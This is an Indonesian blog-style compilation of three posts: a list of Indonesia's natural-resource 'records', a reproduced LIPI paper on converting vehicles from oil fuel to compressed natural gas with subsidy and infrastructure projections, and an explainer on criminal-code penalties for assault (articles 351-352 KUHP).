7. Indonesia menempati peringkat pertama dalam produk pertanian, yaitu cengkeh (cloves) & pala (nutmeg), serta peringkat kedua dalam karet alam (Natural Rubber) dan minyak sawit mentah (Crude Palm Oil).

cengkeh
8. Indonesia adalah pengekspor terbesar kayu lapis (plywood), yaitu sekitar 80% di pasar dunia.

Kayu Lapis
9. Indonesia memiliki biodiversity Anggrek terbesar didunia yaitu sekitar 6 ribu jenis anggrek, mulai dari yang terbesar (Anggrek Macan atau Grammatophyllum Speciosum) sampai yang terkecil (Taeniophyllum, yang tidak berdaun), termasuk Anggrek Hitam yang langka dan hanya terdapat di Papua.

Bunga Anggrek
10. Memiliki hutan bakau terbesar di dunia. Tanaman ini bermanfaat ntuk mencegah pengikisan oleh air laut atau abrasi pantai

Hutan Bakau
Rekor di atas sebenarnya hanya sedikit dari sekian banyak rekor-rekor berkaitan dengan kekayaan alam yang dimiliki oleh bangsa ini. Termasuk posting saya sebelumnya yaitu Burung Cendrawasih yang terkenal dengan bird of paradise dan hanya ada di Papua.

PROGRAM KONVERSI DARI BBM KE BBG UNTUK KENDARAAN DI PIDATO SBY


PROGRAM KONVERSI DARI BBM KE BBG UNTUK KENDARAAN
Agus Hartanto, Vita Susanti, Ridwan Arief Subekti,
Hendri Maja Saputra, Estiko Rijanto, Abdul Hapid
Pusat Penelitian Tenaga Listrik dan Mekatronik – LIPI
Komplek LIPI Bandung, Jl Cisitu No.21/154D, Gd 20, Lt 2, Bandung,
Jawa Barat 40135, Indonesia
Abstrak
Populasi kendaraan di Indonesia yang berbahan bakar minyak (BBM) setiap
tahunnya semakin meningkat sedangkan cadangan minyak sendiri semakin menipis
dan harus impor. Kenaikan pemakaian BBM untuk kendaraan tersebut menyebabkan
subsidi BBM dan polusi udara juga akan meningkat. Tingginya harga minyak
mentah, menyebabkan pemerintah harus memberikan subsidi BBM, tahun 2011
pemerintah mengalokasikan dana APBN sebesar Rp 92,79 triliun untuk subsidi
BBM dan melihat perkembangan harga minyak dunia akhir akhir ini, subsidi tersebut
bisa lebih dari Rp 100 Triliun. Untuk mengatasi hal tersebut diperlukan bahan bakar
alternatif yang ramah lingkungan sebagai pengganti BBM untuk kendaraan. Salah
satu bahan bakar alternatif tersebut adalah bahan bakar gas (BBG).
Perkembangan kendaraan berbahan bakar gas alam (NGV) di luar negeri sangat
pesat. Negara-negara di kawasan Asia yang NGV-nya sangat berkembang adalah
Pakistan, Iran dan India. Dibanding perkembangan pemakaian NGV di luar negeri,
Indonesia sangat tertinggal. Hingga saat ini, pelaksanaan program konversi BBM ke
BBG untuk kendaraan kurang berhasil dilihat dari jumlahnya yang kurang dari 5000
unit NGV. Permasalahan yang menghambat perkembangan NGV tersebut antara lain
karena jumlah SBBG yang masih sedikit, pasokan gas yang kurang, hingga hambatan
para pemakai yang takut menggunakan BBG.
Dampak dari pemakaian BBG sudah banyak dilakukan kajian yang
memberikan kesimpulan bahwa banyak memberikan keuntungan, yaitu pengurangan
pemakaian BBM yang juga memberikan pengurangan subsidi dan pengurangan
emisi. Bagi pengguna akan memberikan keuntungan karena harga BBG lebih murah
dibanding harga BBM dan memberikan peluang usaha gas dihulu dan di hilir yang
akan meningkatkan lapangan kerja. Dengan adanya berbagai keuntungan tersebut
maka Indonesia perlu menata ulang pemakaian energy terutama BBM dan BBG
untuk kendaraan. Agar konversi pemakaian BBM ke BBG untuk kendaraan dapat
berjalan dengan baik, direkomendasikan untuk mencanangkan konversi tersebut
sebagai program nasional.
I. Pendahuluan
Dari tahun ke tahun jumlah kendaraan yang menggunakan BBM di Indonesia
semakin meningkat. Jika di tahun 2000 jumlah kendaraan sekitar 5 juta unit, untuk
tahun 2009 sudah meningkat lebih dari 3 kalinya yaitu sekitar 18 juta unit, dan dari
perkembangan kendaraan tersebut lebih dari 60% adalah kendaraan penumpang
yang mencapai sekitar 10 juta unit. Dengan kenaikan jumlah kendaraan,
menyebabkan konsumsi bahan bakar minyak (BBM) meningkat, jika ditahun 2000
keperluan BBM untuk transportasi sekitar 20.000 kilo liter, ditahun 2009 sudah
2
mencapai 37.000 kili liter. Dengan semakin besarnya konsumsi BBM maka
diperlukan produksi minyak yang lebih besar, tetapi dalam kenyataannya produksi
minyak di dalam negeri sejak tahun 2000 mengalami penurunan, sehingga sejak
tahun 2005, Indonesia menjadi importir minyak.
Tingginya harga minyak mentah dunia, menyebabkan pemerintah harus
memberikan subsidi BBM. Untuk tahun 2011, pemerintah mengalokasikan dana
APBN sebesar Rp 92.79 triliun untuk subsidi BBM dan melihat perkembangan
harga minyak dunia akhir-akhir ini, subsidi bisa tembus Rp100 triliun. Sehingga
semakin banyak populasi kendaraan di Indonesia dimasa mendatang, menjadi
semakin besar juga subsidi BBM yang harus dialokasikan pemerintah setiap
tahunnya.
Selain masalah sumber energi dan subsidi tersebut, muncul juga
permasalahan pencemaran lingkungan dari hasil pembakaran BBM pada
kendaraan, seperti gas CO2, PM10, dan PB. Data dari Departemen Perhubungan,
polusi CO2 yang dihasilkan pada tahun 2003 dari sistem transportasi sebesar 168
juta ton, jika sejalan dengan bertambahnya kendaraan pada tahun 2007 menjadi
sekitar 324 juta ton. Perkembangan pencemaran lingkungan tersebut memberikan
dampak yang tidak baik bagi kesehatan penduduk. Sektor penyumbang emisi
terbesar adalah sektor pembangkit listrik dan transportasi, sehingga diperlukan
penanganan khusus. Presiden Susilo Bambang Yudhoyono dalam pidatonya pada
pertemuan negara-negara berkembang (Group of 77), berjanji akan mengurangi
emisi sebesar 26% pada tahun 2020. Untuk tindak lanjut dari pidato Presiden
tersebut perlu kejelasan pembagian kontribusi pengurangan emisi disetiap sektor.
Dari sektor transportasi sumber masalah emisi adalah bahan bakarnya, BBM
yang digunakan menghasilkan polusi yang besar. Untuk itulah perlu adanya
penggantian bahan bakar yang ramah lingkungan, salah satunya adalah BBG
(bahan bakar gas). Gas yang dimaksud di sini adalah compressed natural gas
(CNG). CNG dipilih karena cadangannya yang masih sangat banyak seperti yang
diutarakan dalam MP3EI (Masterplan Percepatan dan Perluasan Pembangunan
Indonesia) dengan cadangan gas alam sekitar 165 TCF, sehingga tidak perlu
mengimpor. Jika menggunakan LPG maka kita harus mengimpor dari luar karena
kebutuhan dalam negeri lebih besar dari keperluan dan tentu saja akan membebani
pemerintah. Gas yang lain yang bisa digunakan sebagai bahan bakar adalah
hidrogen, tetapi hidrogen ini teknologinya masih sangat rumit dan perlu waktu yang
lama untuk mengembangkannya.
Selain karena cadangan dari gas masih cukup banyak dan harganya yang lebih
murah dibandingkan dengan BBM, yaitu 2/3 dari harga bensin subsidi (premium) atau sekitar
1/3 dari premium non subsidi. Kalau dibandingkan dengan Negara-negara yang populasi NGV
nya berkembang sangat pesat, harga BBG di Indonesia jauh lebih mahal.
Dilihat dari cadangan gas yang banyak dan harganya yang murah, polusi yang
dihasilkan oleh CNG lebih kecil dibandingkan dengan bensin dan LPG. Maka
alternative untuk menggunakan BBG sebagai pengganti BBM merupakan salah satu
pilihan yang perlu dilaksanakan oleh pemerintah.
II. Perkembangan Kendaraan menggunakan BBG (NGV)
II.1 Perkembangan NGV di dunia
Perkembangan kendaraan berbahan bakar gas alam (NGV) di luar negeri sangat
pesat. Negara-negara di kawasan Asia yang NGV-nya sangat berkembang adalah
Pakistan, Iran dan India. Hal ini terjadi karena sumber daya gas yang melimpah
3
serta dukungan yang kuat dari pemerintahnya, yaitu berupa pemberian subsidi dan
pemberian kredit untuk pembelian NGV. Konversi dari BBM ke BBG di negara
tersebut berlatar belakang makin meningkatnya harga BBM dan tingkat polusi
yang tinggi di negara tersebut. Populasi di Iran pada awalnya sangat kecil, tetapi
sejak tahun 2006 populasinya meningkat sangat cepat dan melampaui India.
Data terakhir untuk perkembangan NGV di dunia yang menduduki peringkat
pertama adalah Pakistan dengan jumlah NGV sebanyak 2,7 juta unit. Diikuti Iran
dan Pakistan sebanyak 1,95 juta dan 1,9 juta NGV. Indonesia tidak termasuk ke
dalam top 10 populasi NGV di dunia.(Tabel 1)
Tabel 1. Top 10 NGV di Dunia
Sumber: Global 2011, www.iangv.org
Data Desember 2010 jumlah NGV di Indonesia sebanyak 5.262 unit atau
setara dengan 0,008% dari populasi jumlah kendaraaan yang menggunakan BBM.
Untuk di Pakistan dengan jumlah NGV sebanyak 2,5 juta setara dengan 61,14%
dibandingkan dengan populasi kendaraan yang menggunakan BBM.
II.2. Perkembangan NGV di Indonesia
Dengan berbagai manfaat tersebut Departemen Perhubungan sudah mengkaji
mengenai konversi dari BBM ke BBG pada kendaraan sejak tahun1980 dan pada
tahun 1988 di Jakarta sudah mulai dilakukan program percontohan. (lihat Tabel 2)
Tabel 2 perkembangan NGV di Indonesia.
No. Tahun Kota Jumlah NGV
1. 1988 Jakarta 500
2. 1990 Jakarta 90
3. 1997 Bandung 80
4. 2007 Jakarta 1.755
5. 2007 Surabaya 500
6. 2008 Jakarta 840
7. 2009 Bogor 1.001
8. 2009 Palembang 666
9. 2010 Surabaya 500
Selain di Jakarta, program konversi dari BBM ke BBG untuk kendaraan telah
dilaksanakan di berbagai kota. Di Bandung sejak tahun 1997 telah melaksanakan
program tersebut, tetapi kendalanya pasokan gas yang tidak menentu dan tidak
4
tersedianya spare part konverter kits sehingga masyarakat beralih kembali ke BBM.
Untuk daerah Surabaya, masyarakatnya lebih paham akan manfaat konversi ke BBG
sehingga mereka dengan swadaya mengkonversi kendaraan mereka menggunakan
BBG. Pada tahun 2004, diperkirakan jumlah NGV di Indonesia hanya 500 unit. Oleh
sebab itu, sejak tahun 2007 pemerintah mulai menggalakkan lagi program konversi
ke BBG dengan membagikan konverter kits untuk taksi dan bajaj di Jakarta. Pada
tahun 2009, pemerintah kota Bogor mendapatkan bantuan konverter kits dari
pemerintah. Tetapi sampai saat ini 1.001 konverter kits yang dibagikan belum
digunakan karena tidak tersedianya SPBG di Bogor.
III. Permasalahan Konversi dari BBM ke BBG di Indonesia
Dibanding perkembangan pemakaian NGV di luar negeri, Indonesia sangat
tertinggal. Hingga saat ini, pelaksanaan program konversi BBM ke BBG untuk
kendaraan kurang berhasil dilihat dari jumlahnya yang kurang dari 5000 unit
kendaraan berbahan bakar gas atau NGV. Hal ini disebabkan beberapa kendala
seperti berikut.
1) Pasokan Gas
Meskipun sumber gas di Indonesia sangat banyak, namun pada kenyataannya
quota gas untuk transportasi tidak ada. Gas yang ada sudah habis untuk industri
dan pembangkit listrik, bahkan pembangkit listrik masih kekurangan pasokan gas.
Untuk itulah diperlukan adanya quota gas untuk transportasi oleh pemerintah.
2) Harga Gas
Sebelum keluarnya KepMen ESDM No. 2932 K/12/MEM/2010 mengenai harga
jual BBG, di Jakarta terdapat dua jenis harga gas untuk kendaraan dalam hal ini
CNG (Compressed Natural Gas). Harga gas Pertamina Rp. 2.562/lsp atau liter
setara premium sedangkan harga gas PGN (Perusahaan Gas Negara) adalah Rp.
3.600/lsp. Karena perbedaan harga ini, maka SPBG yang menjual gas lebih mahal
kekurangan konsumen yang diakibatkan konsumennya beralih ke SPBG yang
menjual gas lebih murah. Hal ini berakibat buruk karena terjadi antrian panjang
dan SPBG harus beroperasi terus menerus, sehingga perawatannya terabaikan.
Sejak 15 Desember 2010 sudah diberlakukan KepMen ESDM No. 2932
K/12/MEM/2010 dimana harga BBG untuk transportasi di wilayah Jakarta
ditentukan Rp. 3.100/lsp sehingga tidak ada perbedaan harga lagi. Walaupun
sudah sama harganya, tetapi para pengusaha masih berusaha untuk minta
kenaikan dari harga tersebut, karena dengan harga tersebut marginnya sangat
kecil.
3) Kualitas Gas
Kualitas Gas saat ini sudah ditentukan dengan surat keputusan Menteri ESDM,
tetapi pelaksanaan dilapangan belum ada yang melakukan pengetesan. Salah satu
keluhan dari Bus Trans Jakarta adalah kandungan air terlalu tinggi, sehingga
setiap 6 bulan diperlukan pembersihan tangki Gas.
4) SPBG
SPBG yang ada selama ini sangat sedikit, sedangkan populasi NGV di Jakarta
semakin meningkat dan tidak sebanding dengan pertumbuhan SPBG, sehingga
terjadi antrian yang cukup panjang pada saat pengisian BBG. Hal ini
mengakibatkan banyak kendaraan yang tadinya menggunakan BBG jadi beralih
kembali menggunakan BBM karena enggan mengantri.
5) Kit Konverter
5
Kit konverter yang digunakan di Indonesia saat ini berasal dari berbagai negara,
seperti Argentina, Cina dan India. Spare part atau suku cadang untuk peralatan
konversi tersebut tidak tersedia di Indonesia. Jika ingin membelinya harus dalam
jumlah besar dan waktu yang diperlukan untuk pengiriman juga lama. Akibatnya
kendaraan yang mengalami kerusakan sangat sulit diperbaiki karena sulitnya
pengadaan spare part dan pada akhirnya kendaraan tersebut kembali lagi
menggunakan BBM.
6) Standar
Di Indonesia standar yang digunakan untuk peralatan konversi bahan bakar gas
(CNG) pada kendaraan adalah SNI 7407 : 2009. Standar ini mengacu pada
beberapa standar dari luar negeri seperti AS/NZ 2739 : 2009, ISO 15500 : 2001,
dan sebagainya. Namun butir-butir yang diacu pada SNI tidak selengkap yang ada
pada standar-standar tersebut, sehingga SNI masih belum dapat dijadikan sebagai
patokan. Contohnya adalah pada SNI ada bagian yang membahas mengenai
instalasi, tetapi pada kenyataannya di lapangan para installer merakit peralatan
konversi tersebut mengikuti panduan dari vendornya masing-masing, sehingga
tata letak peralatan konversi pada kendaraan satu dengan yang lainnya berbedabeda
tergantung dari vendor dan luasnya ruang yang ada pada kendaraan.
7) Pengujian
Selama ini di Indonesia tidak ada suatu lembaga atau badan yang menguji
peralatan konversi, yang ada hanya pengujian pada tabung yang dilakukan oleh
Departemen Tenaga Kerja. Sebelum digunakan pada kendaraan, peralatan
konversi yang diimpor harus diuji terlebih dahulu. Sehingga dapat diketahui
kelayakan penggunaan peralatan tersebut.
8) SDM
SDM yang menangani instalasi converter kits masih sangat sedikit dan masih
belum bersertifikasi karena tidak ada badan yang mengeluarkan sertifikasi. Para
SDM/teknisi tersebut dilatih langsung oleh vendor yang mengeluarkan converter
kits.
9) Monitoring Evaluasi
Sejak dicetuskannya program konversi BBM ke BBG pada kendaraan pada tahun
1988 hingga saat ini belum dilakukan monitoring dan evaluasi pada kendaraan
yang menggunakan BBG, sehingga mengalami kesulitan untuk mendapatkan data
populasi kendaraan.
10) CDM
Salah satu manfaat dari konversi BBM ke BBG pada kendaraan adalah
pengurangan emisi. Pengurangan emisi yang diperoleh dapat di konversi ke CDM
(clean development mechanism), sehingga 1 ton CO2 yang dikurangi dapat
menghasilkan $10. Pengurangan emisi CO2 ini dijual dalam bentuk Certified
Emission Reduction (CER) ke negara-negara maju yang paling banyak
menghasilkan emisi CO2.
IV. Manfaat Konversi dari BBM ke BBG
IV.1.Umum
Konversi dari BBM ke BBG mempunyai banyak manfaat, yaitu mengurangi
pemakaian BBM, mengurangi pencemaran udara, menguntungkan pengguna dan
memberikan peluang usaha. (gambar 1)
6
Gambar 1. Manfaat Konversi dari BBM ke BBG
Secara lebih rinci manfaat konversi BBM ke BBG dapat diuraikan sebagai berikut:
1. Mengurangi penggunaan BBM dan subsidi
Dengan mengkonversi bahan bakar kendaraan dari BBM ke BBG, akan
mengurangi pemakaian BBM yang berarti mengurangi impor minyak dan tentu
saja subsidi yang dialokasikan pemerintah untuk BBM menjadi berkurang.
2. Mengurangi pencemaran lingkungan
Bahan bakar gas emisinya sangat kecil dibanding dengan bensin, penggunaan
BBG dapat mengurangi emisi CO sebesar 95%, emisi CO2 sebesar 25%, emisi
HC sebesar 80%, dan emisi NOx sebesar 30%. Hal ini akan berdampak positif
bagi lingkungan karena ikut serta dalam pengurangan pemanasan global.
3. Peluang usaha
Apabila konversi dari BBM ke BBG ini berjalan dengan lancar maka industri
dari hulu ke hilir termasuk industri konversi di dalam negeri akan semakin
berkembang. Hal tersebut secara otomatis akan berdampak positif bagi
penyerapan tenaga kerja di dalam negeri.
4. Bagi pemakai
Bagi pengguna kendaraan berbahan bakar gas (NGV/natural gas vehicle) akan
menghemat pengeluaran pembelian bahan bakar karena harga BBG jauh lebih
murah dibandingkan harga BBM. Selain itu, pengguna NGV juga menghemat
pengeluaran untuk perawatan kendaraan karena BBG tidak menghasilkan kerak
pada mesin dan busi lebih bersih dan tahan lama, serta knalpot dan peredam
suara umurnya lebih panjang
IV.2. Perhitungan Potensi Keuntungan
Berdasarkan data jumlah kendaraan dari BPS tahun 2010, untuk mobil
penumpang pada tahun 2009 berjumlah 10,3 juta unit, bus sebanyak 2,7 juta unit,
truk sebanyak 5,1 juta unit dan yang paling banyak adalah jumlah kendaraan roda 2
yaitu 52,4 juta unit. Dari data BPS tersebut dapat dibayangkan seberapa besar subsidi
BBM yang harus ditanggung oleh pemerintah. Perkiraan besarnya subsidi BBM
7
(premium) untuk 80% dari mobil penumpang, 20% dari truk dan 100% dari
kendaraan roda 2 untuk tahun 2020 diperkirakan mencapai lebih dari Rp150 triliun.
Dari data BPS tahun 2010 kemudian diprediksikan kenaikan jumlah kendaraan
dari 2010-2020 dengan besarnya kenaikan sebanyak 5%. Dari data prediksi jumlah
kendaraan tersebut kemudian dikonversi ke NGV sebesar 5% dari data 80% jumlah
mobil penumpang dan dari data 20% jumlah truk. Jumlah NGV pada tahun pertama
(tahun 2012) sebanyak 0,53 juta unit yang terdiri dari mobil penumpang dan truk.
Tiap tahun jumlah NGV makin bertambah dan pada tahun 2020 akan ada NGV
sebanyak 5,83 juta unit. Hal ini akan tercapai apabila konversi ke NGV berjalan
lancar. Dengan mengkonversi sebagian kendaraan maka penggunaan BBM
(premium) juga berkurang dan tentu saja akan mengurangi subsidi yang harus
dikeluarkan oleh pemerintah. Dengan menggunakan asumsi seperti pada tabel 3,
pada tahun 2012 saja pengurangan penggunaan BBM sebesar 1,76 juta kilo
liter/tahun, dan hal ini setara dengan pengungan subsidi BBM sebesar 6,17 triliyun
rupiah. Semakin besar jumlah kendaraan yang dikonversi maka semakin besar juga
pengurangan subsidi.
Tabel 3 dengan asumsi sebagai berikut:
Harga premium bersubsidi Rp. 4.500
Harga premium non subsidi Rp. 8.000
Harga konverter kits Rp. 10.000.000
Konsumsi BBG untuk mobil penumpang 10 lsp/hari
Konsumsi BBG untuk truk 20 lsp/hari
Jumlah hari dalam 1 tahun 300 hari
1 MMSCFD = 25,62 klsp
Pada Table 4 terlihat bahwa pengurangan subsidi selama 9 tahun sebesar
312,76 triliyun rupiah, dengan investasi converter kits selama 9 tahun sebesar 58,28
triliyun rupiah. Agar program ini berjalan dengan lancar, pemerintah juga harus bisa
memenuhi pasokan gas. Untuk tahun 2012 saja diperlukan BBG sebesar 1,76 juta
klsp/tahun atau setara dengan kebutuhan BBG perhari sebesar 229,4 MMSCFD.
Untuk tahun 2020 diperlukan BBG sebesar 18,96 juta klsp/tahun atau setara dengan
kebutuhan BBG perhari sebesar 2.467,35 MMSCFD. Selain diperlukan pasokan gas
yang mencukupi, diperlukan juga ketersediaan SPBG. Dengan asumsi 1 SPBG dapat
melayani 750 NGV maka akan didapat hasil sebagai berikut seperti Tabel 5.
Tabel 5. Pertumbuhan SPBG
Tahun Jumlah SPBG
2012 713
2013 1,459
2014 2,240
2015 3,058
2016 3,915
2017 4,813
2018 5,753
2019 6,738
2020 7,770
Pada tahun 2012 diperlukan 713 SPBG, tiap tahun makin meningkat jumlah
SPBG nya sehingga pada tahun 2020 sudah tersedia 7.770 SPBG untuk melayani
5,83 juta NGV. Besarnya populasi SPBG akan menumbuhkan industri peralatan
untuk SPBG, sehingga akan menyerap tenaga kerja yang besar.
8
Tabel 4. Hasil Perhitungan Konversi ke NGV
Tahun
mobil
penumpang
dan truk
[juta unit]
mobil
penumpang
dan truk
memakai
premium
[juta unit]
konsumsi
premium
[juta
liter/hr]
konsumsi
premium
[juta
kl/th]
subsidi
[Triliun
Rp/th]
Konversi
ke NGV
[juta
unit]
Penurunan
pemakaian
premium
[juta kl/th]
Penurunan
subsidi
[triliun
Rp/th]
investasi
konverter
kit [Triliun
Rp]
kebutuhan
BBG [juta
klsp/th]
kebutuhan
BBG
[MMSCFD]
2012
17.35
10.69
117.55
35.26
123.42
0.53
1.76 6.17
5.35
1.76 229.40
2013
18.01
11.19
122.64
36.79
128.77
1.09
3.60 12.61
5.60
3.60 468.75
2014
18.70
11.72
127.99
38.40
134.39
1.68
5.52 19.33
5.86
5.52 718.53
2015
19.42
12.27
133.60
40.08
140.28
2.29
7.53 26.34
6.14
7.53 979.27
2016
20.18
12.85
139.49
41.85
146.47
2.94
9.62 33.67
6.43
9.62 1251.50
2017
20.97
13.46
145.68
43.70
152.96
3.61
11.80 41.31
6.73
11.80 1535.81
2018
21.81
14.10
152.17
45.65
159.78
4.31
14.09 49.30
7.05
14.09 1832.79
2019
22.68
14.78
158.99
47.70
166.94
5.05
16.47 57.65
7.39
16.47 2143.08
2020
23.60
15.48
166.15
49.85
174.46
5.83
18.96 66.37
7.74
18.96 2467.35
9
V. Rekomendasi
Konversi dari BBM ke BBG sangat banyak manfaatnya, baik dari segi penghematan
bahan bakar maupun penghematan subsidi. Kita juga berperan serta dalam penyelamatan
lingkungan karena emisi yang dihasilkan oleh NGV sangat kecil sekali. Selain itu,
besarnya pengurangan emisi gas dapat dikonversi ke CDM dan hal ini juga akan
menjadi pendapatan daerah bagi daerah yang bersangkutan. Untuk itu, perlu komitmen
yang kuat dari pemerintah pusat dan pemerintah daerah dalam program konversi dari BBM
ke BBG untuk kendaraan.
Program konversi dari BBM ke BBG untuk kendaraan akan berjalan dengan lancar
apabila mendapat dukungan penuh dari pemerintah, yaitu berupa peraturan yang
mendukung program konversi ini dan peraturan tersebut juga harus menguntungkan bagi
pengguna, pengusaha, dan industri di dalam negeri. Selain itu, diperlukan juga dukungan
dari pemerintah berupa menyediakan fasilitas/infrastruktur seperti jaringan pipa gas,
pendirian SPBG di lokasi yang belum ekonomis, bantuan kit konverter untuk angkutan kota.
Dengan demikian, pemerintah harus memiliki komitmen yang kuat dalam menjalankan
program konversi dari BBM ke BBG untuk kendaraan ini. Sehingga secara garis besar
rekomendasi yang dimaksud adalah sebagai berikut :
1. Rekomendasi Peraturan
a) Jadikan konversi dari BBM ke BBG menjadi program nasional
b) Peraturan pemerintah mengenai alokasi gas untuk kebutuhan dalam negeri lebih
diutamakan daripada mengekspor gas;
c) Peraturan pemerintah mengenai pengalihan subsidi BBM ke BBG dilakukan secara
bertahap;
d) Peraturan pelaksana mengenai insentif pajak bagi kendaraan-kendaraan yang ramah
lingkungan lebih dirinci lagi.
e) Kontrak pasokan gas untuk SPBG tidak diberlakukan batas atas dan batas bawah.
f) Sosialisasi
2. Rekomendasi Koordinasi
Perlu ada tim koordinasi untuk program konversi dari BBM ke BBG secara nasional.
Tim koordinasi ini bertugas untuk mengkoordinir dan mengatur/mengarahkan dinasdinas
terkait dan tim koordinasi direkomendasikan berada di bawah Wakil Presiden.
Gambar 9. Skema Koordinasi Program Konversi
10
3. Rekomendasi Teknis
– Memperbanyak infrastruktur saluran gas (pipa atau sistem Mother Daughter);
– Peningkatan SBBG, Dipasang oleh pemerintah untuk lokasi-lokasi baru.
Lokasi-lokasi yang belum ekonomis harus didirikan SPBG oleh pemerintah
untuk memancing para konsumen;
– Menggunakan sistem pembaca RFID untuk system monitoring dan evaluasi.
– Penelitian dan pengembangan untuk peralatan SPBG dan kit konverter perlu
dibuat program yang diarahkan untuk dapat menuju industri peralatan
tersebut.
Sosialisasi juga sangat diperlukan agar program ini berjalan dengan lancar. Dengan
adanya sosialisasi, maka masyarakat umum, pemegang kepentingan dan para pihak terkait
akan lebih mengerti mengenai program konversi ini, sehingga masyarakat tidak merasa
ketakutan lagi menggunakan BBG. Yang ada dipikiran masyarakat mengenai BBG adalah
berbahaya karena tabungnya mudah meledak. Padahal, kecelakaan NGV yang pernah
terjadi, bukan disebabkan ledakan tabung gas tetapi penyebab utamanya adalah terjadi
korsleting kabel listrik dan gas hanya mempercepat kebakaran saja, bukan penyebab
utamanya. Dan NGV yang meledak tersebut tabung gasnya masih utuh.
VI. Penutup
Sebagai bahan bakar alternatif pengganti BBM, CNG memiliki banyak kelebihan yang
antara lain adalah harganya lebih murah, ramah lingkungan dan dapat mengurangi subsidi
pemerintah untuk BBM. Namun karena masih banyak terkendala masalah, hingga saat ini
pelaksanaan program konversi BBM ke BBG untuk kendaraan kurang berhasil. Untuk itu
perlu penataan ulang pemakaian energi terutama BBM dan BBG untuk kendaraan. Salah satu
cara untuk memacu pertumbuhan NGV di Indonesia perlu adanya suatu program nasional
konversi BBM ke BBG untuk kendaraan dengan dikoordinasi langsung oleh Wakil Presiden.
REFERENSI
1. BPS, 2010. “Statistik Indonesia”. Jakarta: Biro Pusat Statistik.
2. ESDM, 2010. “The Hanbook of Indonesia’s Energy Economic Statistics”. Jakarta:
Departemen Energi dan Sumber Daya Mineral.
3. Global 2011, www.iangv.org
4. Vita Susanti dkk, 2010. “Pengurangan Subsidi BBM dan Polusi Udara Melalui Kebijakan
Program Konversi dari BBM ke BBG untuk Kendaraan di Propinsi Jawa Barat”. Journal
of Mechatronics, Electrical Power, and Vehicular Technology, Vol. 01, No 2. Bandung:
Puslit Telimek.
5. Vita Susanti dkk, 2011. “Kebijakan Nasional Program Konversi dari BBM ke BBG untuk
Kendaraan”. Jakarta: LIPI Press.
6. MP3EI (Masterplan Percepatan dan Perluasan Pembangunan Indonesia)

HUKUMAN PIDANA UNTUK KASUS PENGANIYAYAAN/PEMUKULAN

Hukuman Pidana Untuk Kasus Penganiayaan
Penganiayaan adalah “Dengan sengaja menimbulkan rasa sakit atau luka, kesengajaan itu harus dicantumkan dalam surat tuduhan”
Penganiayaaan yang dimuat dalam BAB XX II, pasal 351s/d 355 adalah sebagai beriku:

1 Penganiayaan biasa pasal 351 KUHP
Penganiayaan biasa bisa menimbulkan luka berat pasal 90 dan menyebabkan kamatian dan ini diancam hukuman lebih berat
pasal 351 KUHP telah menerangkan penganiayaan ringan sebagai berikut :
1. Penganiayaan dipidana dengan pidana penjara paling lama dua tahun delapan bulan atau pidana denda paling banyak empat ribu lima ratus rupih.
2. Jika perbuatan itu menyebabkan luka-luka berat, yang bersalah dipidana dengan pidana penjara paling lama lima tahun.
3. Jika mengakibatkan mati, dipidana dengan pidana penjara paling lama tujuh tahun.
4. Dengan penganiayaan disamakan sengaja merusak kesehatan
5. Percobaan untuk melakukan kejahatan ini tidak di pidana.
Kembali lagi dari arti sebuah penganiayaan yang merupakan suatu tindakan yang melawan hukum, memang semuanya perbuatan atau tindakan yang dilakukan oleh subyek hukum akan berakibat kepada dirinya sendiri. Mengenai penganiayaan biasa ini merupakan suatu tindakan hukum yang bersumber dari sebuah kesengajaan. Kesengajaan ini berari bahwa akibat suatu perbuatan dikehendaki dan ini ternyata apabila akibat itu sungguh-sungguh dimaksud oleh perbuatan yang dilakukan itu. yang menyebabkan rasa sakit, luka, sehingga menimbulkan kematian. Tidak semua perbuatan memukul atau lainnya yang menimbulkan rasa sakit dikatakan sebuah penganiayaan.
Oleh karena mendapatkan perizinan dari pemerintah dalam melaksanakan tugas dan fungsi jabatannya. Seperti contoh: seorang guru yang memukul anak didiknya, atau seorang dokter yang telah melukai pasiennya dan menyebabkan luka, tindakan tersebut tidak dapat dikatakan sebagai penganiayaan, karena ia bermaksud untuk mendidik dan menyembuhkan penyakit yang diderita oleh pasiennya. Adapula timbulnya rasa sakit yang terjadi pada sebuah pertandingan diatas ring seperti tinju, pencak silat, dan lain sebagainya.
Tetapi perlu digaris bawahi apabila semua perbuatan tersebut diatas telah malampui batas yang telah ditentukan karena semuanya itu meskipun telah mendapatkan izin dari pemerintah ada peraturan yang membatasinya diatas perbuatan itu, mengenai orang tua yang memukili anaknya dilihat dari ketidak wajaran terhadap cara mendidiknya.
Oleh sebab dari perbuatan yang telah melampaui batas tertentu yang telah diatur dalam hukum pemerintah yang asalnya pebuatan itu bukan sebuah penganiayaan, karena telah melampaui batas-batas aturan tertentu maka berbuatan tersebut dimanakan sebuah penganiayaan yang dinamakan dengan “penganiayaan biasa”. Yang bersalah pada perbuatan ini diancam dengan hukuman lebih berat, apabila perbuatan ini mengakibatkan luka berat atau matinya sikorban. Mengenai tentang luka berat lihat pasal 90 KUHP. Luka berat atau mati yang dimaksud disini hanya sebagai akibat dari perbuatan penganiayaan itu.
Mengenai tindakan hukum ini yang akan diberikan kepada yang bersalah untuk menentukan pasal 351 KUHP telah mempunyai rumusan dalam penganiayaan biasa dapat di bedakan menjadi:
1. Penganiayaan biasa yang tidak menimbulkan luka berat maupun kematian
2. Penganiayaan yang mengakibatkan luka berat
3. Penganiayaan yang mengakibatkan kematian
4. penganiayaan yang berupa sengaja merusak kesehatan.

2 Penganiayaan ringan pasal 352 KUHP
Tidak menimbulkan luka baik luka ringan atau luka berat sehingga tidak mengganggu kesehatan dan pekerjaan jabatan atau pakerjaan sahari-hari
Disebut penganiayaan ringan Karena penganiayaan ini tidak menyebabkan luka atau penyakit dan tidak menyebabkan si korban tidak bisa menjalankan aktivitas sehari-harinya. Rumusan dalam penganiayaan ringan telah diatur dalam pasal 352 KUHP sebagai berikut:
1. Kecuali yang tersebut dalam pasal 353 dan 356, maka penganiayaan yang tidak menimbulkan penyakit atau halangan untuk menjalankan pekerjaan jabatan atau pencaharian, dipidana sebagai penganiayaan ringan, dengan pidana penjara paling lama tiga bulan atau pidana denda paling banyak empat ribu lima ratus
Pidana dapat ditambah sepertiga bagi orang yang melakukan kejahatan itu terhadap orang yang bekerja padanya atau menjadi bawahannya.
2. Percobaan untuk melakukan kejahatan ini tidak dipidana.
